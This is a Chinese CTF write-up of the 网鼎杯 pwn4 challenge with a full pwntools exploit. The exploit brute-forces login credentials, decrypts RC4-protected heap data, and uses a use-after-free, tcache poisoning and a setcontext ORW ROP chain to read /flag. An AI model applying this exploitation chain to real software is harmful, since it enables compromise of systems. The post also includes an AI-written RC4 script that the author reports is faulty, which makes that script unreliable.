网鼎杯pwn4复现
Marce1

网鼎杯pwn4

下载附件

​ 中午发的题,一看数据库心想没学过去看那道webpwn,没学过,rust,没学过。事已至此,先吃饭吧。

​ 吃完饭后还是看了一眼附件,花了20分钟分析觉得能打,密码爆破+加密+堆orw,想到了之前打过的silverwolf,就是打tcache_struct+setcontext来绕过堆orw。最后还是卡在加密,找gpt要了两次脚本都没过,现在来看实在是gpt差距。最后争不动去上数电课了,整场比赛就出了一道300分的pwn签到,最战犯的一集

爆破账号密码

image-20241031003530540

​ 看到用户名检测后续想到爆破,第一步和绕过strncmp的原理相同,他只会比较你输入的字符串长度范围内的两个字符串有没有差异,所以我们可以逐字节爆破。但是之后他还是会检查两个字符串长度,所以我们需要爆破完整的账号。

​ 一般账号密码只会使用键盘上有的字符,可以预先准备一个爆破字典,我的方法是直接爆破ascii 33-126范围的字符。可以直接用man命令查看ascii码对应的字符

1
main ascii

爆破脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
for i in range(10):
for i in range(33, 127):
success("try---->"+chr(i))
p.sendafter("Input your username:",username+chr(i)+'\0'+'\n')
p.recvline()
recv = p.recvline()
if b"Invalid username!" in recv and b"Invalid username length!" not in recv:
continue
else:
success("find---->"+chr(i))
username += chr(i)
success("username---->"+username)
break
if b"Username correct!" in recv:
break

对于密码的爆破也同理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
p.sendlineafter("Input your username:",username)
for i in range(10):
for j in range(33, 127):
p.sendlineafter(b'Input your password:\n', passwd+chr(j))
recv = p.recvline()
if b'Invalid password!' in recv:
p.sendlineafter("Input your username:",username)
continue
elif b'Invalid password length!' in recv:
success("find---->"+chr(j))
passwd += chr(j)
success("passwd---->"+passwd)
p.sendlineafter("Input your username:",username)
break
if b"Password correct!" in recv:
break'''

这个程序如果账号密码不正确会直接退出,还会贴心的回到输入账号密码的入口,所以我们不必每次都p.remote()和p.close()。但是每次爆破密码不成功都要重新输入一次账户。

最后爆破出来用户名是”4dmin”,密码是”985da4f8cb37zkj”。

在本地调试的时候记得自己添加一个password和username文件测试爆破脚本是否有效。

存储内容加密

image-20241031123819151

​ 之后就是经典的增删改查,在释放堆块时有uaf漏洞。但是他在每次存入和修改数据时都会先把数据输入,再对数据长度的内容加密,每次查看数据时再把数据取出来解密,显示数据内容再加密放回去

image-20241031124633565

image-20241031124655745

image-20241031124715479

​ 加密的过程看了一遍之后不能说是完全看懂,至少也是一窍不通。不仅是泄露释放堆块后的main_arena偏移还是堆地址,还是填入伪造地址都要绕过加密。

​ 但是从最后的异或和解密来看可能加密和解密过程都是相同的,一开始我想能否通过重复填入加密后的内容得到加密前的内容,不用写解密脚本了?程序遵守填入/更改就加密,取回解密展示再加密放回,所以除了写解密脚本没有别的办法泄露内容。

​ 只好把代码扔给了ai生成如下解密脚本(没有ai的世界是多么寸步难行……或许是我太捞了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
def sub_1152(state_array, output, length):
v5 = 0
v6 = 0

for i in range(length):
v5 = (v5 + 1) % 256
v6 = (v6 + state_array[v5]) % 256

# Swap in state array
state_array[v5], state_array[v6] = state_array[v6], state_array[v5]

# Encrypt the data
output[i] ^= state_array[(state_array[v5] + state_array[v6]) % 256]

def encrypt(plaintext):
key = b's4cur1ty_p4ssw0rd'
state_array = bytearray(256)
# Initialize the state array using sub_F98
sub_F98(state_array)

# Prepare output buffer
output_data = bytearray(plaintext)

# Encrypt using sub_1152
sub_1152(state_array, output_data, len(plaintext))

return bytes(output_data)



def decrypt(encrypted_data):
key = b's4cur1ty_p4ssw0rd'
state_array = bytearray(256)
# Initialize the state array using sub_F98
sub_F98(state_array)

# Prepare output buffer
decrypted_data = bytearray(encrypted_data)

# Decrypt using sub_1152
sub_1152(state_array, decrypted_data, len(encrypted_data))

return bytes(decrypted_data)

但是我的解密脚本似乎有问题,当输入比较长时,就会发生这种情况:

image-20241031170337068

后半段完全变成乱码了:-( 比赛的时候急得我上蹿下跳,完全忘了队里的re手

https://blog.csdn.net/Mr_Fmnwon/article/details/143355594

事后复现嫖走了这位师傅的解密函数: -)

image-20241031171154440

好耶。

原来事rc4加密。这rc4加密真rc4啊。

泄露堆地址与libc地址

​ glibc版本2.27,引入了tcache还没有其他什么检测,甚至可以通过直接覆盖fd的方式请出任意已知位置的堆块,几乎是板子题。但程序沙箱禁用了exeve和exeveat

image-20241031130324051

对于这个版本的堆orw,我想到了之前做过的ciscn2021 silverwolf,同样也是打tcache利用setcontext,但是那个题申请堆块大小有限,所以必须通过控制tcache_struct拼接两个堆块来填入足够长度的orw链。比赛的时候我局限了,照着silverwolf的脚本就是一顿复制粘贴,但实际上这个题对于堆块大小没有限制,完全可以不用打tcache_struct。

在通过账号密码之后用pwndbg看一眼堆会发现乱得一,这是因为沙箱的原因

image-20241031155345109

我们首先通过tcache泄露堆地址,通过uaf泄露地址时内存中的确是原地址,但程序执行时先会取出解密再展示,所以我们还是要把取出来的数据走一遍解密

1
2
3
4
5
6
7
8
9
10
add(0, 0x70, b'aaaa')
delete(0)
show(0)
p.recvuntil(b'[0,')
encry1 = p.recv(8)
success("encry1---->"+hex(u64(encry1)))
heap = rc4((encry1))
success("heap---->"+hex(u64(heap)))
heap_base = u64(heap)+0x55b4ebaab000-0x55b4ebaabc70
success("heap_base---->"+hex(heap_base))

然后我们需要填满tcache,再释放一个相同大小的堆块放入unsortedbin泄露libc基址。这个堆块需要大于0x70,不然会放入fastbin,同时为了防止沙箱残留的堆块造成影响,所以我选择了0x150大小的堆块。

1
2
3
4
5
6
7
8
9
10
11
for i in range(9):
add(i, 0x240, b'a')
for i in range(8):
delete(i)
show(7)
p.recvuntil(b'[7,')
encry2 = p.recv(8)
main_arena = u64(rc4(encry2)) -0x96
success("main_arena---->"+hex(main_arena))
libc_base = main_arena+ 0x7f14b1604000 - 0x7f14b19efc0a
success("libc_base---->"+hex(libc_base))

setcontext & orw

image-20241031160953889

如图是附件给的动态链接库里setcontext函数的样子,在setcontext+53的位置开始可以通过rdi的偏移设置各个寄存器,而在free一个堆块时会将rdi指向该堆块的位置。先把预备free的堆块上设置setcontext的frame,其中rsp设置为free_hook+8,然后把(setcontext+53)+(orw)写到free_hook上,这样就可以直接返回到orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
'''frame = SigreturnFrame()
frame.rdi = free_hook+0x100
frame.rsi = 0
frame.rdx = 0
frame.rsp = free_hook+0x8
frame.rip = libc_base+libc.sym['open']
'''

frame = b''
frame = frame.ljust(0x68, b'\x00')+p64(free_hook+0x108)+p64(0) #rdi rsi
frame = frame.ljust(0x88, b'\x00')+p64(0) #rdx
frame = frame.ljust(0xa0, b'\x00')+p64(free_hook+8)+p64(libc_base+libc.sym['open'])#rsp rcx

add(0, 0x160, bytes(frame))

rdi = libc_base + 0x2164f
rsi = libc_base + 0x23a6a
rdx = libc_base + 0x1b96
setcontext = libc_base+libc.sym['setcontext']
payload_orw = p64(rdi)+p64(3)+p64(rsi)+p64(heap_base+0x1100)+p64(rdx)+p64(0x100)+p64(libc_base+libc.sym['read'])
payload_orw += p64(rdi)+p64(1)+p64(libc_base+libc.sym['write'])
payload_orw = payload_orw.ljust(0x100, b'\x00')+b'/flag\x00'

edit(6, rc4(p64(free_hook)))
add(7, 0x150, b'a')
add(7, 0x150, rc4(p64(setcontext+53)+payload_orw))

gdb.attach(p)
delete(0)
p.interactive()

我不直接用SigretureFrame()的原因是本地调试时会出错,所以人工对着偏移设置的各个寄存器:-(。记得在exp脚本开头设置面向操作系统和架构

1
context(os='linux', arch='amd64', log_level='debug')

记得预备free的堆块,就是设置setcontext上下文的那个堆块要申请的大一点(>0xa0),不然会导致后面寄存器写不上去的情况,同时也可以方便一点之后的orw,提前把open的寄存器设置好,当然求稳也可以写到orw里。

总exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
from pwn import *
from LibcSearcher3 import *

context(os='linux', arch='amd64', log_level='debug')

filename = 'pwn'
def exec_fmt(pad):
p = process('./'+filename)
p.sendlineafter("Enter your name: ", pad)
p.recvuntil(b'Hello, ')
return p.recv()

'''
fmt = FmtStr(exec_fmt)
print("offset ===> ", fmt.offset)
'''

IP = ''
debug = 0
if debug:
p = remote('0192d6893cc27e60b227aa9ef34bad8f.t1dx.dg03.ciihw.cn', 44732)
else:
p = process('./'+filename)

elf = ELF('./'+filename)

def dbg():
gdb.attach(p)

ubuntu16 = ['~/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6', '~/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6']
ubuntu18 = ['~/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6', '~/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc.so.6']
libc = ELF('/home/marcel/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc.so.6')

def leak(something):
rc = u64(p.recv(6).ljust(8,b"\x00"))
success(something+"---->"+hex(rc))
return rc

def leak_fmt(something):
rc = int(p.recv(14),16)
success(something+"---->"+hex(rc))
return rc

def add(idx, size, content):
p.sendlineafter("> \n", '1')
p.sendlineafter("Input the key: ", str(idx))
p.sendlineafter("Input the value size: ", str(size-1))
p.sendlineafter("Input the value: ", content)

def show(idx):
p.sendlineafter("> \n", '2')
p.sendlineafter("Input the key: ", str(idx))

def delete(idx):
p.sendlineafter("> \n", '3')
p.sendlineafter("Input the key: ", str(idx))

def edit(idx, content):
p.sendlineafter("> \n", '4')
p.sendlineafter("Input the key: ", str(idx))
p.sendlineafter("Input the value: ", content)


def ksa(dest, password, length):
# 初始化 S-box
S_box = list(range(256))
password_1 = [0] * 256

# 根据密钥生成 password_1
for i in range(256):
password_1[i] = ord(password[i % length])

# 执行密钥调度算法
j = 0
for i in range(256):
j = (j + S_box[i] + password_1[i]) % 256
S_box[i], S_box[j] = S_box[j], S_box[i]

return S_box
def prga(S_box, data, length):
i = 0
j = 0

for k in range(length):
i = (i + 1) % 256
j = (j + S_box[i]) % 256

# 交换 S-box 中的元素
S_box[i], S_box[j] = S_box[j], S_box[i]

# 生成密钥流字节并与数据异或
key_stream_byte = S_box[(S_box[i] + S_box[j]) % 256]
data[k] ^= key_stream_byte

return data
def rc4(data):
password = 's4cur1ty_p4ssw0rd'
# 转换 data 为 bytearray
data = bytearray(data.encode() if isinstance(data, str) else data)

# 获取数据长度
length = len(data)

# 初始化 S-box
S_box = ksa(None, password, len(password))

# 加密/解密数据
prga(S_box, data, length)

return bytes(data)

username = '4dm1n'
passwd = '985da4f8cb37zkj'

p.sendlineafter("Input your username:", username)
p.sendlineafter("Input your password:", passwd)

add(0, 0x70, b'aaaa')
delete(0)
show(0)
p.recvuntil(b'[0,')
encry1 = p.recv(8)
success("encry1---->"+hex(u64(encry1)))
heap = rc4((encry1))
success("heap---->"+hex(u64(heap)))
heap_base = u64(heap)+0x55b4ebaab000-0x55b4ebaabc70
success("heap_base---->"+hex(heap_base))

for i in range(9):
add(i, 0x150, b'a')#tcache*7+unsorted*1+seperate*1
for i in range(8):
delete(i)
show(7)
p.recvuntil(b'[7,')
encry2 = p.recv(8)
main_arena = u64(rc4(encry2)) -0x96
success("main_arena---->"+hex(main_arena))
libc_base = main_arena+ 0x7f14b1604000 - 0x7f14b19efc0a
success("libc_base---->"+hex(libc_base))
free_hook = libc_base+libc.sym['__free_hook']

'''frame = SigreturnFrame()
frame.rdi = free_hook+0x100
frame.rsi = 0
frame.rdx = 0
frame.rsp = free_hook+0x8
frame.rip = libc_base+libc.sym['open']'''
frame = b''
frame = frame.ljust(0x68, b'\x00')+p64(free_hook+0x108)+p64(0) #rdi rsi
frame = frame.ljust(0x88, b'\x00')+p64(0) #rdx
frame = frame.ljust(0xa0, b'\x00')+p64(free_hook+8)+p64(libc_base+libc.sym['open'])#rsp rcx

add(0, 0x160, bytes(frame))

rdi = libc_base + 0x2164f
rsi = libc_base + 0x23a6a
rdx = libc_base + 0x1b96
setcontext = libc_base+libc.sym['setcontext']
payload_orw = p64(rdi)+p64(3)+p64(rsi)+p64(heap_base+0x1100)+p64(rdx)+p64(0x100)+p64(libc_base+libc.sym['read'])
payload_orw += p64(rdi)+p64(1)+p64(libc_base+libc.sym['write'])
payload_orw = payload_orw.ljust(0x100, b'\x00')+b'/flag\x00'

edit(6, rc4(p64(free_hook)))
add(7, 0x150, b'a')
add(7, 0x150, rc4(p64(setcontext+53)+payload_orw))

gdb.attach(p)
delete(0)
p.interactive()

Refer

https://blog.csdn.net/Mr_Fmnwon/article/details/143355594

由 Hexo 驱动 & 主题 Keep
总字数 47.9k 访客数 访问量